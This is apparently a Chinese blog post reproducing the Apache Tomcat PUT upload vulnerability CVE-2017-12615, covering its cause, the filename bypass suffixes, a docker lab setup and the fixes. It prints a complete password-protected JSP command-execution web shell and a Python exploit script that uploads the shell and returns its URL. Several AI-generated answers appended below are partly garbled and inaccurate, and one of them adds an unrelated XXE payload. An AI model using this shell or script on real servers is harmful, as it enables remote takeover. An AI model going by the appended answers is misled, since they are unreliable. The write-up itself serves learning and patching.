TomcatPUT的上传漏洞(CVE-2017-12615)

TomcatPUT的上传漏洞(CVE-2017-12615)

漏洞描述:


当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

受影响的版本:

Apache Tomcat 7.0.0 to 7.0.79

利用条件:


Apache Tomcat 默认开启 PUT 方法,org.apache.catalina.servlets.DefaultServlet的 readonly 默认为 true,需要手动配置readonly为false才可以进行漏洞利用,而且默认没有在 Tomcat/conf/web.xml 里写,(逗号)。需要手工添加并且改为 false,才可以进行测试。

漏洞原理:


本次 Apache Tomcat 的 CVE 漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:

除了 jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认都是由org.apache.catalina.servlets.DefaultServlet 来处理。可以看出即使设置 readonly 为 false,默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

目前主要三种方法:

evil.jsp%20

evil.jsp::$DATA

evil.jsp/

利用这两种姿势 PUT 请求 tomcat 的时候,骗过 tomcat 而进入 DefaultServlet 处理的逻辑。

调试 DefaultServlet.java 代码流程,设置 readOnly 为 false

先调用栈

重点看 doPut,这里 tomcat 开始处理 PUT 请求,可以看到这里如果 readonly 是 true 就直接进入 error 了,所以需要设置成 false。 

真正写入文件在 FileDirContext.java 的 rebind 函数里。

FileOutputStream 特性:

 jsp%20 或是 jsp::$DATA 后缀的时候,为什么最终却写入 .jsp 后缀的文件,这些其实是 java.io. FileOutputStream (java.io包里的类)的问题了,具体需要分析 jdk 的 C 代码才能得到解答,其最终是调用 windows 的 CreateFileW 实现文件创建,而在 windows 下,创建文件是对后缀名称有要求的,例如:如果后缀末尾是空格,会被去掉,a.txt::$DATA传入 CreateFileW 也会被处理成 a.txt

是evil.jsp/时,这种方法也可以 PUT 上传,但是不同于上面两种,这种方法是利用了 File 类的特性。测试发现 java.io.File 会过滤掉子文件名末尾的斜杠所以可以导致后面文件写入 jsp 文件。

环境搭建:

这里使用docker+vulhub搭建漏洞环境,在centos7上搭建vulhub的步骤如下:
安装docker依赖包
        yum install -y yum-utils device-mapper-persistent-data lvm2
安装docker
        yum install docker
启动docker
        systemctl start docker
下载vulhub
        https://github.com/vulhub/vulhub/archive/master.zip

安装docker-compose之前需要先安装python-pip

        yum -y install epel-release

        yum -y install python-pip

安装docker-compose

        pip install docker-compose
找到CVE-2017-12615,并进入

启动漏洞环境,vulhub的漏洞环境已经搭建好,不需要我们手动修改配置文件。
        docker-compose up -d
查看服务启动状态

测试环境就关闭防火墙啦
        systemctl stop firewalld.service/iptables.service 

漏洞复现:

安装Tomcat可成功访问:

按照上述利用条件对配置文件进行设置,并且重启Tomcat:

payload1:测试任意文件上传,用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)

shell:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

 然后进行访问,成功上传

上传成功后便可远程进行命令执行,如下图所示:

大佬poc代码:

#! -*- coding:utf-8 -*-

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

try:

    conn = httplib.HTTPConnection(sys.argv[1])

    conn.request(method='OPTIONS', url='/ffffzz')

    headers = dict(conn.getresponse().getheaders())

    if 'allow' in headers and \
       headers['allow'].find('PUT') > 0 :

        conn.close()

        conn = httplib.HTTPConnection(sys.argv[1])

        url = "/" + str(int(time.time()))+'.jsp/'

        #url = "/" + str(int(time.time()))+'.jsp::$DATA'

        conn.request( method='PUT', url= url, body=body)

        res = conn.getresponse()

        if res.status  == 201 :

            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]

            print 'shell:', 'http://' + sys.argv[1] + url[:-1]

        elif res.status == 204 :

            print 'file exists'

        else:

            print 'error'

        conn.close()

    else:

        print 'Server not vulnerable'

except Exception,e:

    print 'Error:', e

运行POC脚本,python DarkHQ.py 127.0.0.1:8080,成功生成shell

同样可远程执行命令

漏洞修复:


官方建议受影响的版本及时更新到Apache Tomcat 7.0.81
根据业务评估配置 conf/webxml 文件的 readOnly 值为 Ture 或注释参数,禁用 PUT 方法并重启 tomcat 服务,临时规避安全风险; 注意: 如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效。

总结:


从以上分析可以得出,该漏洞利用的前提条件需要手动开启 readOnly 功能,以支持上传操作,在 Apache tomcat 7.X 版本默认配置的情况下是无法成功利用漏洞,从实际测试来看,漏洞危害性并没有那么高,但是如果用户一旦启用了 readOnly 功能,黑客可利用漏洞成功入侵。

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。 要复现该漏洞,需要满足以下条件: 1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。 2. 目标服务器上存在一个Web应用程序,其中包含一个可上文件的Servlet。 3. 目标服务器上的Web应用程序未正确配置,允许攻击者上包含恶意代码的JSP文件。 攻击者可以通过发送以下HTTP请求来利用该漏洞: PUT /test.jsp/ HTTP/1.1 Host: target.com Connection: close Content-Length: 100 <% out.println("Hello, world!"); %> 其中,test.jsp是攻击者上的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。 如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。 ### 回答2: CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。 下面是CVE-2017-12615漏洞的复现步骤: 1.安装Tomcat服务器 2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。 3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上到目标服务器。 4.在表单中输入如下内容: PUT /test.txt/WEB-INF/web.xml HTTP/1.1 Host: [Tomcat address]:[listening port] User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/xml Content-Length: 284 <?xml version="1.0"?> <!DOCTYPE x [ <!ELEMENT x ANY> <!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat"> <!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>"> %p2;%p3; ]> 5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。 6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。 为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。 ### 回答3: CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上恶意 JSP 文件并执行任意命令。 为了演示该漏洞的复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。 安装 Apache Tomcat 首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令: sudo apt-get update sudo apt-get install tomcat7 安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装: http://localhost:8080/ 如果可以看到 Tomcat 的欢迎页面,则说明安装成功。 复现漏洞 接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下: 1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码: <% if ("POST".equals(request.getMethod())) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = in.readLine()) != null) { out.println(line); } in.close(); } %> 2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件: jar -cvf test.war test.jsp 3. 接下来,我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着,将上的 test.war 文件复制到该目录下: sudo mkdir /var/lib/tomcat7/webapps/test sudo mv test.war /var/lib/tomcat7/webapps/test/ 4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框: http://localhost:8080/test/test.jsp 5. 在输入框中输入以下命令,即可执行该命令并返回结果: cmd=ls 我们可以看到,这个漏洞可以允许攻击者上包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值